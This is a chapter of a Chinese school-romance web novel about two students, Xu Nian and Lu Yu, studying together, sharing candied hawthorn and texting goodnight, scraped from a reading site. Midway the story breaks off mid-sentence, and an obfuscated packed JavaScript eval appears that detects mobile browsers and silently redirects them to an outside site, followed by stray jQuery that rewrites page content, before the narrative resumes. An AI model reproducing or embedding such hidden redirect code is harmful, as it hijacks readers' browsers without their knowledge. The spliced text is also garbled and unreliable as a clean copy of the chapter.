默认冷灰
24号文字
方正启体

28. 第 28 章

作者:金鸦渡海本书字数:K更新时间:
    “看样子,我哥铁树要开花了。”许念嘿嘿笑两声,跟在鹿玙身后窝回沙发里。


    鹿玙接着做刚才的试卷,埋头在题海并不搭腔,他对这种话题不知道怎么接,大多时候听许念碎碎念。


    茶几比沙发矮,他长腿长手的,需要弓着背岔开腿。


    许念说了会她哥之前拒绝别人的拽样,看着鹿玙这姿势她心里实在难受,话题止住,忍不住开始说他。


    “你要不回房间写?”房间不是有书桌,在这受什么委屈。


    鹿玙说不回。


    许念不理解,“在这写多难受啊。”


    “不难受。”


    “那要不去餐厅那边的高桌?”


    “你去吗?”


    鹿玙的反问让她一时没反应过来,下意识脱口而出不去。


    直到听见鹿玙说那他也不去。


    许念才明白他为什么要缩在这里。


    “走,我去。”许念卷起茶几上的试卷,拍了拍鹿玙的肩,“我也还有试卷没写完,去那边写。”


    高桌上,鹿玙拧着眉看题的表情都让许念觉得舒服,自己多高个心里没点数,硬要没苦硬吃,长手长腿就要配高桌高凳。


    晨光渐浓,爬上窗台,又爬上那盆龟背竹的叶子,在试卷上投下斑驳的光影。


    许念转着手中的笔,另一只手拄着侧脸,整个脑袋的重量压在手骨节,侧脸的软肉被挤得微微嘟起。


    鹿玙在那道直白的视线中做完一张试卷,耳廓的红不知道是阳光晒透的还是目光穿透的。


    “你不是要做试卷?”他抽出新试卷,落笔前忍不住抬头问许念。


    “正在想卷子上的题目呢。”目光和鹿玙对接,许念调皮一笑。


    “要盯着我想?”


    许念落落大方,无丝毫羞涩痕迹,“赏心悦目下我更容易想出来。”


    鹿玙沉默落笔,许念连个角度都没偏,继续看他。


    不怪她沉溺,怪晨光太美好,缱绻在鹿玙周身,整个人干净又温柔。


    许念拄得累了,她捞起一旁的手机漫不经心拨弄着,在鹿玙写到新试卷第二页时,她终于开始动笔,一时间只剩下纸笔相触的沙沙声。


    空白试卷上慢慢填满清秀小字,老师留的试卷对她来说难度不大。但成绩好不代表不需要思考,她也需要花时间,花精力推算演练得到正确答案。


    暮色四合,她收起最后一页草稿纸,揉了揉发酸的肩颈,“明天我再写一天,老师留的作业就能写完了,你呢?”


    今天除去吃饭上厕所,两人从上午写到下午。理科麻烦就麻烦在稍复杂的题推错一步就步步错。尤其是数学,人类的精神折磨!


    “我也是。”


    “?”她明明领先四张试卷的。


    “你今天写了八张?”许念睁大眼睛,“你开飞机写的?”


    鹿玙嘴角牵了牵,从最后一道大题上抬眼,“抽空写了几张。”


    “你哪有时——”许念话锋一转,“你晚上偷偷背着我做题?”


    鹿玙沉思片刻,“那下次动笔前,我报备一声。”


    “谁要你报备。”许念嘁一声。


    收拾完,确定没落下什么东西后,许念从冰箱取出三串冰糖葫芦,这是和鹿玙商量好的,完成课业的奖励。


    “我上楼了,别卷了,早点休息。”


    许念抱着一摞卷子,嘴里咬着糖葫芦,在他耳边吹风,喷洒出来的气息都带着甜味。


    “哦对了,这个给你,自己费那么大劲买的总要尝尝,好吃的。”走几步又折回来的许念放下一串糖葫芦。


    最后一道大题的演算步骤铺满半页纸,鹿玙搁下笔,抬眼,视线不受控制落在桌角那串黑葡萄糖葫芦上。


    晶莹的糖衣在灯光下泛着琥珀色的光,甜腻腻的空气无处不在。


    鹿玙盯了它很久。


    他不喜欢吃甜的东西,尤其是糖的甜。


    可小孩哪有不喜欢吃糖的?


    四岁的记忆很远,却依旧深刻。


    因为一颗糖,宋凝搅得他嘴里满是血。血腥味混着糖的甜,成了令人作呕的糜烂铁锈味。


    浸血的糖他能艰难咽下,恶心的味道也会随记忆增长慢慢淡化,但宋凝那时尖锐癫狂的声音他永远都会记得。


    “你也配吃?”


    他第一次吃糖,却也以为那是最后一次。


    直到许念锲而不舍地给过来,软糖、巧克力、糖葫芦。


    从她手里给过来,像是带有魔法,那些令人抗拒的、狰狞的、痛苦的味道变得很淡。淡到鹿玙恍惚,小时候的事只是一场模糊的噩梦,而他和她一样,能坦然接住这份甜,不抗拒,也不会排斥。


    许念回到房间,又摸出张试卷,准备悄悄赶到鹿玙前头去,可笔尖刚落下一个字,就被她摞在了桌上。


    揉了揉发胀的太阳穴,进行了深刻的自我检讨:卷来卷去,累的是自己的眼睛和脑子。


    想通之后,她从口袋摸出手机,点开相册。


    里面都是今天上午趁鹿玙低头做题时偷拍的照片。他垂着眼,睫毛很长,阳光落在身上,镀着层浅金。


    每张照片大同小异,许念却一张一张翻得认真。最后挑出一张,他的侧脸刚好对着光,线条柔和。


    她点了收藏,指尖还没从屏幕上移开,一条信息就从顶部弹出来,挡住了照片的一角。


    是小别扭的:【好吃】


    许念弯了弯嘴角,飞快回过去:【喜欢吃就多吃两串啊】


    对话框那端,“正在输入”的提示闪烁了整整两分钟。许念以为是什么重要的事,目不转睛盯着屏幕,最后只等来一个简简单单的【嗯】。


    这正常吗?


    小别扭又开始憋话了。


    许念沉吟片刻,写写删删,最后发出:


    【等哥回来,让他排队给我俩买。】


    【全部买双份,不怕不够吃。】


    许念本来想说改天自己去给他买,但她觉得自己不太可能做到,没有把握的事她向来不轻易许诺。


    鹿玙对着屏幕斟酌回复,屏幕上已经跳出来新的消息:【晚安】


    他收起涣散的思绪,在屏幕上轻点几下,同样回过去:【晚安】。


    -


    小长假回校第一天,学校统一安排月测。


    成绩出来,许念拿着鹿玙各科试卷翻来覆去地欣赏。


    她翘着腿躺在沙发上,毛茸茸的发顶离坐得端正在敲代码的鹿玙腿边仅半掌距离,试卷铺了她满身,诚心的惊叹和夸赞连连不断。


    欣赏够了,她三五下起身,把散开的试卷整齐摞在茶几上,“我要回房奋发图强!”


    鹿玙看了眼笔电右下角的时间,抬眼叮嘱,“早点睡。”


    “这句话请留给你自己,我有分寸。”许念卷起一阵风,慢零点一秒都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982365|193553||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是对自己的放纵。


    凌晨十二点,有分寸的人端着水杯走出房间。对面门缝一片漆黑,楼道口却光亮。


    许念轻手轻脚下楼。


    果然,鹿玙抱着电脑,眉头微拧,几乎连坐姿都没怎么变动。


    鹿玙此刻陷入逻辑难题,没有察觉到许念特意放轻的动静,他对着键盘敲敲打打,代码修改运行始终有错中断,而他已经磨了快两个小时。


    许念坐在吧台前,喝完杯里的水,又拿了鹿玙的水杯倒水,两只玻璃杯沿无意相碰,安静的空间骤然一声清响。


    四目相对。


    许念扶着水壶的手一晃,水顺着杯壁淌下来,她连忙摆正水壶,抽纸擦拭桌面上溅开的水渍。


    代码运行成功的提示音传来,鹿玙回神。转头紧盯屏幕上顺利推进的进程,直到全部跑完,才安然舒了口气,将最终版本上传云端服务器。


    “怎么还没有睡?”他合上电脑,起身走过去。


    吧台上方的橘色灯光倾泻。


    鹿玙俯身靠近,清冷的眸越压越低,冷淡的眼底映着一片暖色,还有她怔住的模样。


    许念眼睛微微睁大,那丁点听到睡字的困意顿时消散。


    这样的距离,她甚至能数清鹿玙密长的睫毛有多少。


    许念心慌意乱错开视线,却好巧不巧好落到鹿玙鼻尖那颗小痣上。


    熟悉的感觉,胸腔的心跳如鼓。


    她结结巴巴说不完整话,鹿玙却已直起身,端起自己的水杯。


    清瘦的喉结随着吞咽的动作,沿漂亮的颈线轻轻滚动。


    许念的目光漫不经心掠过那处,又飘忽移开,随之懊恼撇下一句“我去睡觉了”溜之大吉,身影一溜烟消失在楼梯转角。


    片刻,远处传来一声刻意放大的,“晚安!”


    鹿玙停在原地,沉默里,嘴角不明显勾起愉悦的弧度。


    -


    许念生日前一天,许凛从港城回来。这天刚好周五,下课铃声一响,许念一秒都没耽搁,抓起书包拽上鹿玙就往外冲,晚一步都得和乌泱泱大队挤着出校门。


    虽然学校有东西南北四个校门,但架不住同时涌出的学生,尤其许凛停车的东门,因为路况最佳,人流更是其他校门的一倍。


    “今年新生是不是扩招了?”许念走在主干道上,眼见着稀疏的人流在两分钟内变得熙攘。


    鹿玙默不作声地与她调换了位置,走在前面,“跟紧我。”


    两人还算比较顺利挤出校门,没让许凛等太久。


    “哥。”许念老远就看见许凛姿态悠闲倚着车身。


    鹿玙紧随其后,叫了声凛哥。


    许凛点点头,招呼他们上车。


    “想哥没?”许凛接过许念的书包掂了掂,“你这书包,真的一如既往的重。”


    “我用百米冲刺的速度来见你,你说想不想?”许念钻进车里,第一件事就是拿起糖葫芦咬了一口,又不忘递给后座的鹿玙一串。


    “我看你不是想我,是想糖葫芦了。”许凛打趣,递过去打包盒和一次性手套给两人,“在车上把果肉剔下来吃。”


    许念挥了挥手中的糖葫芦,抬着下巴,“错,大错特错,糖葫芦我前阵子吃过,没那么想。”


    “哦?这是有人给你买糖葫芦了,那哥得问问你,”许凛笑着瞥了她一眼,双手打方向盘,“哥买的好吃,还是鹿玙买的好吃?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)